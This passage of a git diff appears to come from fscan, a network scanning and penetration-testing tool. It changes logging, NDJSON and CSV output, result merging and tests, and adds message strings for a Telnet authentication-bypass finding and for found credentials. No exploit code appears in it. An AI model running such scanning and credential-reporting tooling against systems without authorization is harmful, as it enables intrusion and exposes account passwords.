flag_disable_tcp_probe:
|
||||||
|
other: "禁用TCP补充探测"
|
||||||
|
flag_debug:
|
||||||
|
other: "开启调试模式,日志写入fscan_debug.log"
|
||||||
flag_alive_only:
|
flag_alive_only:
|
||||||
other: "仅进行存活探测"
|
other: "仅进行存活探测"
|
||||||
flag_username:
|
flag_username:
|
||||||
@@ -341,6 +345,8 @@ port_open:
|
|||||||
other: "端口开放 {{.Arg1}}"
|
other: "端口开放 {{.Arg1}}"
|
||||||
port_open_http:
|
port_open_http:
|
||||||
other: "端口开放 {{.Arg1}} [http](HTTP探测)"
|
other: "端口开放 {{.Arg1}} [http](HTTP探测)"
|
||||||
|
port_scan_no_alive_subnet:
|
||||||
|
other: "网段预筛未发现存活子网,跳过端口扫描"
|
||||||
|
|
||||||
# ========================= 本地扫描消息 =========================
|
# ========================= 本地扫描消息 =========================
|
||||||
local_plugin_info:
|
local_plugin_info:
|
||||||
@@ -426,6 +432,8 @@ telnet_unauth_rce:
|
|||||||
other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}"
|
other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}"
|
||||||
telnet_credential_rce:
|
telnet_credential_rce:
|
||||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}"
|
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}"
|
||||||
|
telnet_cve202624061:
|
||||||
|
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}"
|
||||||
cassandra_credential:
|
cassandra_credential:
|
||||||
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||||
cassandra_service:
|
cassandra_service:
|
||||||
|
|||||||
+10
-6
@@ -13,9 +13,10 @@ initialize.go - 统一初始化入口
|
|||||||
|
|
||||||
// InitResult 初始化结果
|
// InitResult 初始化结果
|
||||||
type InitResult struct {
|
type InitResult struct {
|
||||||
Config *Config
|
Config *Config
|
||||||
State *State
|
State *State
|
||||||
Info *HostInfo
|
Info *HostInfo
|
||||||
|
Session *ScanSession
|
||||||
}
|
}
|
||||||
|
|
||||||
// Initialize 统一初始化函数
|
// Initialize 统一初始化函数
|
||||||
@@ -39,10 +40,13 @@ func Initialize(info *HostInfo) (*InitResult, error) {
|
|||||||
return nil, fmt.Errorf("输出初始化失败: %w", err)
|
return nil, fmt.Errorf("输出初始化失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
session := NewScanSession(cfg, state, GetFlagVars())
|
||||||
|
|
||||||
return &InitResult{
|
return &InitResult{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
State: state,
|
State: state,
|
||||||
Info: info,
|
Info: info,
|
||||||
|
Session: session,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -27,8 +27,12 @@ func getGlobalLogger() *logging.Logger {
|
|||||||
EnableColor: !fv.NoColor,
|
EnableColor: !fv.NoColor,
|
||||||
SlowOutput: false,
|
SlowOutput: false,
|
||||||
ShowProgress: !fv.DisableProgress,
|
ShowProgress: !fv.DisableProgress,
|
||||||
|
Silent: fv.Silent,
|
||||||
StartTime: GetGlobalState().GetStartTime(),
|
StartTime: GetGlobalState().GetStartTime(),
|
||||||
}
|
}
|
||||||
|
if fv.Debug {
|
||||||
|
config.DebugLogFile = "fscan_debug.log"
|
||||||
|
}
|
||||||
globalLogger = logging.NewLogger(config)
|
globalLogger = logging.NewLogger(config)
|
||||||
globalLogger.SetCoordinatedOutput(LogWithProgress)
|
globalLogger.SetCoordinatedOutput(LogWithProgress)
|
||||||
})
|
})
|
||||||
@@ -77,3 +81,10 @@ func LogVuln(result string) { getGlobalLogger().Vuln(result) }
|
|||||||
|
|
||||||
// LogError 输出错误日志
|
// LogError 输出错误日志
|
||||||
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
|
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
|
||||||
|
|
||||||
|
// CloseLogger 关闭日志系统,释放文件资源
|
||||||
|
func CloseLogger() {
|
||||||
|
if globalLogger != nil {
|
||||||
|
globalLogger.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package logging
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
@@ -24,8 +25,10 @@ type LoggerConfig struct {
|
|||||||
EnableColor bool `json:"enable_color"`
|
EnableColor bool `json:"enable_color"`
|
||||||
SlowOutput bool `json:"slow_output"`
|
SlowOutput bool `json:"slow_output"`
|
||||||
ShowProgress bool `json:"show_progress"`
|
ShowProgress bool `json:"show_progress"`
|
||||||
|
Silent bool `json:"silent"`
|
||||||
StartTime time.Time `json:"start_time"`
|
StartTime time.Time `json:"start_time"`
|
||||||
LevelColors map[LogLevel]interface{} `json:"-"`
|
LevelColors map[LogLevel]interface{} `json:"-"`
|
||||||
|
DebugLogFile string `json:"debug_log_file"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// DefaultLoggerConfig 默认日志器配置
|
// DefaultLoggerConfig 默认日志器配置
|
||||||
@@ -47,6 +50,7 @@ type Logger struct {
|
|||||||
startTime time.Time
|
startTime time.Time
|
||||||
coordinatedOutput func(string)
|
coordinatedOutput func(string)
|
||||||
initialized bool
|
initialized bool
|
||||||
|
debugFile *os.File
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewLogger 创建新的日志管理器
|
// NewLogger 创建新的日志管理器
|
||||||
@@ -55,11 +59,20 @@ func NewLogger(config *LoggerConfig) *Logger {
|
|||||||
config = DefaultLoggerConfig()
|
config = DefaultLoggerConfig()
|
||||||
}
|
}
|
||||||
|
|
||||||
return &Logger{
|
l := &Logger{
|
||||||
config: config,
|
config: config,
|
||||||
startTime: config.StartTime,
|
startTime: config.StartTime,
|
||||||
initialized: true,
|
initialized: true,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if config.DebugLogFile != "" {
|
||||||
|
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||||
|
if err == nil {
|
||||||
|
l.debugFile = f
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return l
|
||||||
}
|
}
|
||||||
|
|
||||||
// Initialize 初始化日志器
|
// Initialize 初始化日志器
|
||||||
@@ -111,6 +124,10 @@ func (l *Logger) log(level LogLevel, content string) {
|
|||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
|
if l.config.Silent {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
if !l.shouldLog(level) {
|
if !l.shouldLog(level) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -134,12 +151,37 @@ func (l *Logger) log(level LogLevel, content string) {
|
|||||||
l.outputMessage(level, logMsg)
|
l.outputMessage(level, logMsg)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 写入debug日志文件(纯文本,无颜色)
|
||||||
|
if l.debugFile != nil {
|
||||||
|
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
|
||||||
|
if strings.Contains(content, "\n") {
|
||||||
|
lines := strings.Split(content, "\n")
|
||||||
|
for _, line := range lines {
|
||||||
|
if line != "" {
|
||||||
|
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 根据慢速输出设置决定是否添加延迟
|
// 根据慢速输出设置决定是否添加延迟
|
||||||
if l.config.SlowOutput {
|
if l.config.SlowOutput {
|
||||||
time.Sleep(SlowOutputDelay)
|
time.Sleep(SlowOutputDelay)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Close 关闭日志器,释放文件资源
|
||||||
|
func (l *Logger) Close() {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
if l.debugFile != nil {
|
||||||
|
_ = l.debugFile.Close()
|
||||||
|
l.debugFile = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// shouldLog 检查是否应该记录该级别的日志
|
// shouldLog 检查是否应该记录该级别的日志
|
||||||
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
|
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
|
||||||
func (l *Logger) shouldLog(level LogLevel) bool {
|
func (l *Logger) shouldLog(level LogLevel) bool {
|
||||||
|
|||||||
+7
-4
@@ -102,11 +102,9 @@ func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
|
|||||||
// TCP 连接
|
// TCP 连接
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// WrapperTcpWithTimeout TCP连接包装器,带超时
|
// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用,新代码请用 ScanSession.DialTCP
|
||||||
// 支持通过代理管理器进行SOCKS5和HTTP代理连接,并集成发包控制
|
|
||||||
// 使用全局拨号器复用连接,避免重复创建代理握手开销
|
|
||||||
//
|
//
|
||||||
//nolint:revive // 保持向后兼容性,避免破坏大量现有代码
|
//nolint:revive
|
||||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||||
// 检查发包限制 - 在代理连接前进行控制
|
// 检查发包限制 - 在代理连接前进行控制
|
||||||
if canSend, reason := CanSendPacket(); !canSend {
|
if canSend, reason := CanSendPacket(); !canSend {
|
||||||
@@ -158,6 +156,11 @@ func IsProxyReliable() bool {
|
|||||||
return proxy.IsProxyReliable()
|
return proxy.IsProxyReliable()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
|
||||||
|
func IsSOCKS5Proxy() bool {
|
||||||
|
return proxy.IsSOCKS5Proxy()
|
||||||
|
}
|
||||||
|
|
||||||
// SafeHTTPDo 带发包控制的HTTP请求
|
// SafeHTTPDo 带发包控制的HTTP请求
|
||||||
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
|
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
|
||||||
// 检查发包限制
|
// 检查发包限制
|
||||||
|
|||||||
+24
-1
@@ -59,7 +59,8 @@ func (b *ResultBuffer) Add(result *ScanResult) {
|
|||||||
b.seenServices[key] = len(b.ServiceResults)
|
b.seenServices[key] = len(b.ServiceResults)
|
||||||
b.ServiceResults = append(b.ServiceResults, result)
|
b.ServiceResults = append(b.ServiceResults, result)
|
||||||
} else {
|
} else {
|
||||||
// 保留信息更完整的记录
|
b.mergeDetails(b.ServiceResults[idx], result)
|
||||||
|
// 保留信息更完整的记录,同时保留另一条记录补充的字段
|
||||||
if b.isMoreComplete(result, b.ServiceResults[idx]) {
|
if b.isMoreComplete(result, b.ServiceResults[idx]) {
|
||||||
b.ServiceResults[idx] = result
|
b.ServiceResults[idx] = result
|
||||||
}
|
}
|
||||||
@@ -72,6 +73,28 @@ func (b *ResultBuffer) Add(result *ScanResult) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
|
||||||
|
if oldResult == nil || newResult == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if oldResult.Details == nil {
|
||||||
|
oldResult.Details = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
if newResult.Details == nil {
|
||||||
|
newResult.Details = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
for k, v := range oldResult.Details {
|
||||||
|
if _, exists := newResult.Details[k]; !exists {
|
||||||
|
newResult.Details[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for k, v := range newResult.Details {
|
||||||
|
if _, exists := oldResult.Details[k]; !exists {
|
||||||
|
oldResult.Details[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// generateKey 生成结果的唯一键(用于去重)
|
// generateKey 生成结果的唯一键(用于去重)
|
||||||
func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
||||||
switch result.Type {
|
switch result.Type {
|
||||||
|
|||||||
@@ -226,6 +226,40 @@ func TestResultBuffer_ServiceUpdate(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "identified",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"service": "http",
|
||||||
|
"banner": "HTTP/1.1 200 OK",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "web",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"title": "Home",
|
||||||
|
"status": 200,
|
||||||
|
"server": "nginx",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
if len(buf.ServiceResults) != 1 {
|
||||||
|
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
|
||||||
|
}
|
||||||
|
details := buf.ServiceResults[0].Details
|
||||||
|
for _, key := range []string{"service", "banner", "title", "status", "server"} {
|
||||||
|
if _, ok := details[key]; !ok {
|
||||||
|
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
|
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
|
||||||
//
|
//
|
||||||
// 当新记录不如旧记录完整时,不应替换
|
// 当新记录不如旧记录完整时,不应替换
|
||||||
|
|||||||
@@ -0,0 +1,145 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
type StdoutNDJSONWriter struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
writer *bufio.Writer
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
|
||||||
|
return &StdoutNDJSONWriter{
|
||||||
|
writer: bufio.NewWriter(os.Stdout),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ndjsonRecord NDJSON 输出的扁平化结构
|
||||||
|
type ndjsonRecord struct {
|
||||||
|
Type ResultType `json:"type"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
Host string `json:"host,omitempty"`
|
||||||
|
Port int `json:"port,omitempty"`
|
||||||
|
Service string `json:"service,omitempty"`
|
||||||
|
// 通用可选字段
|
||||||
|
Protocol string `json:"protocol,omitempty"`
|
||||||
|
Banner string `json:"banner,omitempty"`
|
||||||
|
Title string `json:"title,omitempty"`
|
||||||
|
URL string `json:"url,omitempty"`
|
||||||
|
// 漏洞/弱口令
|
||||||
|
Vulnerability string `json:"vulnerability,omitempty"`
|
||||||
|
Username string `json:"username,omitempty"`
|
||||||
|
Password string `json:"password,omitempty"`
|
||||||
|
// 其他
|
||||||
|
Plugin string `json:"plugin,omitempty"`
|
||||||
|
Version string `json:"version,omitempty"`
|
||||||
|
OS string `json:"os,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
rec := w.flatten(result)
|
||||||
|
data, err := json.Marshal(rec)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
data = append(data, '\n')
|
||||||
|
if _, err := w.writer.Write(data); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return w.writer.Flush()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
|
||||||
|
rec := &ndjsonRecord{
|
||||||
|
Type: r.Type,
|
||||||
|
Target: r.Target,
|
||||||
|
Status: r.Status,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 target 拆分 host:port
|
||||||
|
if host, port, ok := splitHostPort(r.Target); ok {
|
||||||
|
rec.Host = host
|
||||||
|
rec.Port = port
|
||||||
|
} else {
|
||||||
|
rec.Host = r.Target
|
||||||
|
}
|
||||||
|
|
||||||
|
d := r.Details
|
||||||
|
if d == nil {
|
||||||
|
return rec
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 details 提升一级字段(覆盖拆分结果)
|
||||||
|
if v, ok := d["port"]; ok {
|
||||||
|
if p, ok := toInt(v); ok {
|
||||||
|
rec.Port = p
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rec.Service = strVal(d, "service")
|
||||||
|
rec.Protocol = strVal(d, "protocol")
|
||||||
|
rec.Banner = strVal(d, "banner")
|
||||||
|
rec.Title = strVal(d, "title")
|
||||||
|
rec.URL = strVal(d, "url")
|
||||||
|
rec.Vulnerability = strVal(d, "vulnerability")
|
||||||
|
rec.Username = strVal(d, "username")
|
||||||
|
rec.Password = strVal(d, "password")
|
||||||
|
rec.Plugin = strVal(d, "plugin")
|
||||||
|
rec.Version = strVal(d, "version")
|
||||||
|
rec.OS = strVal(d, "os")
|
||||||
|
|
||||||
|
return rec
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *StdoutNDJSONWriter) Close() error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
return w.writer.Flush()
|
||||||
|
}
|
||||||
|
|
||||||
|
func strVal(d map[string]interface{}, key string) string {
|
||||||
|
v, ok := d[key]
|
||||||
|
if !ok {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
s, ok := v.(string)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Sprintf("%v", v)
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func toInt(v interface{}) (int, bool) {
|
||||||
|
switch n := v.(type) {
|
||||||
|
case int:
|
||||||
|
return n, true
|
||||||
|
case int64:
|
||||||
|
return int(n), true
|
||||||
|
case float64:
|
||||||
|
return int(n), true
|
||||||
|
}
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
|
||||||
|
func splitHostPort(target string) (string, int, bool) {
|
||||||
|
idx := strings.LastIndex(target, ":")
|
||||||
|
if idx < 0 {
|
||||||
|
return "", 0, false
|
||||||
|
}
|
||||||
|
host := target[:idx]
|
||||||
|
var port int
|
||||||
|
if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil {
|
||||||
|
return "", 0, false
|
||||||
|
}
|
||||||
|
return host, port, true
|
||||||
|
}
|
||||||
+68
-24
@@ -13,13 +13,26 @@ import (
|
|||||||
|
|
||||||
// escapeControlChars 转义控制字符
|
// escapeControlChars 转义控制字符
|
||||||
func escapeControlChars(s string) string {
|
func escapeControlChars(s string) string {
|
||||||
replacer := strings.NewReplacer(
|
s = strings.ToValidUTF8(s, "?")
|
||||||
"\r\n", "\\r\\n",
|
|
||||||
"\n", "\\n",
|
var b strings.Builder
|
||||||
"\r", "\\r",
|
for _, r := range s {
|
||||||
"\t", "\\t",
|
switch r {
|
||||||
)
|
case '\n':
|
||||||
return replacer.Replace(s)
|
b.WriteString("\\n")
|
||||||
|
case '\r':
|
||||||
|
b.WriteString("\\r")
|
||||||
|
case '\t':
|
||||||
|
b.WriteString("\\t")
|
||||||
|
default:
|
||||||
|
if r < 0x20 || r == 0x7f {
|
||||||
|
fmt.Fprintf(&b, "\\x%02x", r)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
b.WriteRune(r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@@ -183,13 +196,7 @@ func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
protocol := "http"
|
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
|
||||||
service := w.getDetailStr(result, "service")
|
|
||||||
if service == "https" || strings.Contains(target, ":443") {
|
|
||||||
protocol = "https"
|
|
||||||
}
|
|
||||||
|
|
||||||
url := fmt.Sprintf("%s://%s", protocol, target)
|
|
||||||
title := w.getDetailStr(result, "title")
|
title := w.getDetailStr(result, "title")
|
||||||
status := w.getDetail(result, "status")
|
status := w.getDetail(result, "status")
|
||||||
server := w.getDetailStr(result, "server")
|
server := w.getDetailStr(result, "server")
|
||||||
@@ -362,13 +369,7 @@ func (w *TXTWriter) writeWebServices() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
protocol := "http"
|
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
|
||||||
service := w.getDetailStr(result, "service")
|
|
||||||
if service == "https" || strings.Contains(target, ":443") {
|
|
||||||
protocol = "https"
|
|
||||||
}
|
|
||||||
|
|
||||||
urls = append(urls, fmt.Sprintf("%s://%s", protocol, target))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(urls) == 0 {
|
if len(urls) == 0 {
|
||||||
@@ -397,6 +398,19 @@ func (w *TXTWriter) isWebService(result *ScanResult) bool {
|
|||||||
return service == "http" || service == "https"
|
return service == "http" || service == "https"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (w *TXTWriter) webProtocol(result *ScanResult, target string) string {
|
||||||
|
protocol := strings.ToLower(w.getDetailStr(result, "protocol"))
|
||||||
|
if protocol == "http" || protocol == "https" {
|
||||||
|
return protocol
|
||||||
|
}
|
||||||
|
|
||||||
|
service := strings.ToLower(w.getDetailStr(result, "service"))
|
||||||
|
if service == "https" || strings.Contains(target, ":443") {
|
||||||
|
return "https"
|
||||||
|
}
|
||||||
|
return "http"
|
||||||
|
}
|
||||||
|
|
||||||
// GetFormat 获取格式类型
|
// GetFormat 获取格式类型
|
||||||
func (w *TXTWriter) GetFormat() Format {
|
func (w *TXTWriter) GetFormat() Format {
|
||||||
return FormatTXT
|
return FormatTXT
|
||||||
@@ -647,7 +661,7 @@ func (w *CSVWriter) Close() error {
|
|||||||
// 写入各分类
|
// 写入各分类
|
||||||
w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
|
w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
|
||||||
w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
|
w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
|
||||||
w.writeSection("# Services", []string{"Target", "Service", "Version", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
|
w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
|
||||||
w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
|
w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
|
||||||
|
|
||||||
w.closed = true
|
w.closed = true
|
||||||
@@ -697,7 +711,7 @@ func (w *CSVWriter) formatPortRecord(result *ScanResult) []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
||||||
service, version, banner := "", "", ""
|
service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", ""
|
||||||
if result.Details != nil {
|
if result.Details != nil {
|
||||||
if s, ok := result.Details["service"].(string); ok {
|
if s, ok := result.Details["service"].(string); ok {
|
||||||
service = s
|
service = s
|
||||||
@@ -705,9 +719,22 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
|||||||
if s, ok := result.Details["name"].(string); ok && service == "" {
|
if s, ok := result.Details["name"].(string); ok && service == "" {
|
||||||
service = s
|
service = s
|
||||||
}
|
}
|
||||||
|
if s, ok := result.Details["plugin"].(string); ok && service == "" {
|
||||||
|
service = s
|
||||||
|
}
|
||||||
if v, ok := result.Details["version"].(string); ok {
|
if v, ok := result.Details["version"].(string); ok {
|
||||||
version = v
|
version = v
|
||||||
}
|
}
|
||||||
|
if t, ok := result.Details["title"].(string); ok {
|
||||||
|
title = escapeControlChars(t)
|
||||||
|
}
|
||||||
|
if s, ok := result.Details["status"]; ok && s != nil && s != 0 {
|
||||||
|
status = fmt.Sprintf("%v", s)
|
||||||
|
}
|
||||||
|
if s, ok := result.Details["server"].(string); ok {
|
||||||
|
server = escapeControlChars(s)
|
||||||
|
}
|
||||||
|
fingerprints = formatFingerprints(result.Details["fingerprints"])
|
||||||
if b, ok := result.Details["banner"].(string); ok {
|
if b, ok := result.Details["banner"].(string); ok {
|
||||||
banner = escapeControlChars(b)
|
banner = escapeControlChars(b)
|
||||||
if len(banner) > 100 {
|
if len(banner) > 100 {
|
||||||
@@ -721,7 +748,24 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
|||||||
target = fmt.Sprintf("%s:%v", target, p)
|
target = fmt.Sprintf("%s:%v", target, p)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return []string{target, service, version, banner}
|
return []string{target, service, version, title, status, server, fingerprints, banner}
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatFingerprints(value interface{}) string {
|
||||||
|
switch v := value.(type) {
|
||||||
|
case []string:
|
||||||
|
return strings.Join(v, ",")
|
||||||
|
case []interface{}:
|
||||||
|
parts := make([]string, 0, len(v))
|
||||||
|
for _, item := range v {
|
||||||
|
if s, ok := item.(string); ok && s != "" {
|
||||||
|
parts = append(parts, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.Join(parts, ",")
|
||||||
|
default:
|
||||||
|
return ""
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
|
func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
|
||||||
|
|||||||
@@ -1139,7 +1139,7 @@ func TestCSVWriter_ErrorHandling(t *testing.T) {
|
|||||||
// TestCSVWriter_DetailsFormatting 测试CSV的Details字段格式化
|
// TestCSVWriter_DetailsFormatting 测试CSV的Details字段格式化
|
||||||
//
|
//
|
||||||
// CSVWriter 对不同类型有不同的格式:
|
// CSVWriter 对不同类型有不同的格式:
|
||||||
// - Service类型:Target, Service, Version, Banner
|
// - Service类型:Target, Service, Version, Title, Status, Server, Fingerprints, Banner
|
||||||
func TestCSVWriter_DetailsFormatting(t *testing.T) {
|
func TestCSVWriter_DetailsFormatting(t *testing.T) {
|
||||||
dir := createTestDir(t)
|
dir := createTestDir(t)
|
||||||
filePath := filepath.Join(dir, "test.csv")
|
filePath := filepath.Join(dir, "test.csv")
|
||||||
@@ -1188,6 +1188,86 @@ func TestCSVWriter_DetailsFormatting(t *testing.T) {
|
|||||||
t.Logf("✓ CSV Details格式化测试通过")
|
t.Logf("✓ CSV Details格式化测试通过")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestCSVWriter_WebServiceFields(t *testing.T) {
|
||||||
|
dir := createTestDir(t)
|
||||||
|
filePath := filepath.Join(dir, "test.csv")
|
||||||
|
|
||||||
|
writer, _ := NewCSVWriter(filePath)
|
||||||
|
defer func() { _ = writer.Close() }()
|
||||||
|
|
||||||
|
_ = writer.WriteHeader()
|
||||||
|
result := createTestResult(
|
||||||
|
TypeService,
|
||||||
|
"192.168.1.1:80",
|
||||||
|
"web",
|
||||||
|
map[string]interface{}{
|
||||||
|
"plugin": "webtitle",
|
||||||
|
"is_web": true,
|
||||||
|
"port": 80,
|
||||||
|
"title": "Home",
|
||||||
|
"status": 200,
|
||||||
|
"server": "nginx",
|
||||||
|
"fingerprints": []string{"nginx", "php"},
|
||||||
|
"banner": "HTTP/1.1 200 OK\x00\nServer: nginx",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
_ = writer.Write(result)
|
||||||
|
writer.Close()
|
||||||
|
|
||||||
|
content := readFileContent(t, filePath)
|
||||||
|
for _, want := range []string{
|
||||||
|
"Target,Service,Version,Title,Status,Server,Fingerprints,Banner",
|
||||||
|
"webtitle",
|
||||||
|
"Home",
|
||||||
|
"200",
|
||||||
|
"nginx",
|
||||||
|
"nginx,php",
|
||||||
|
"\\x00\\nServer: nginx",
|
||||||
|
} {
|
||||||
|
if !strings.Contains(content, want) {
|
||||||
|
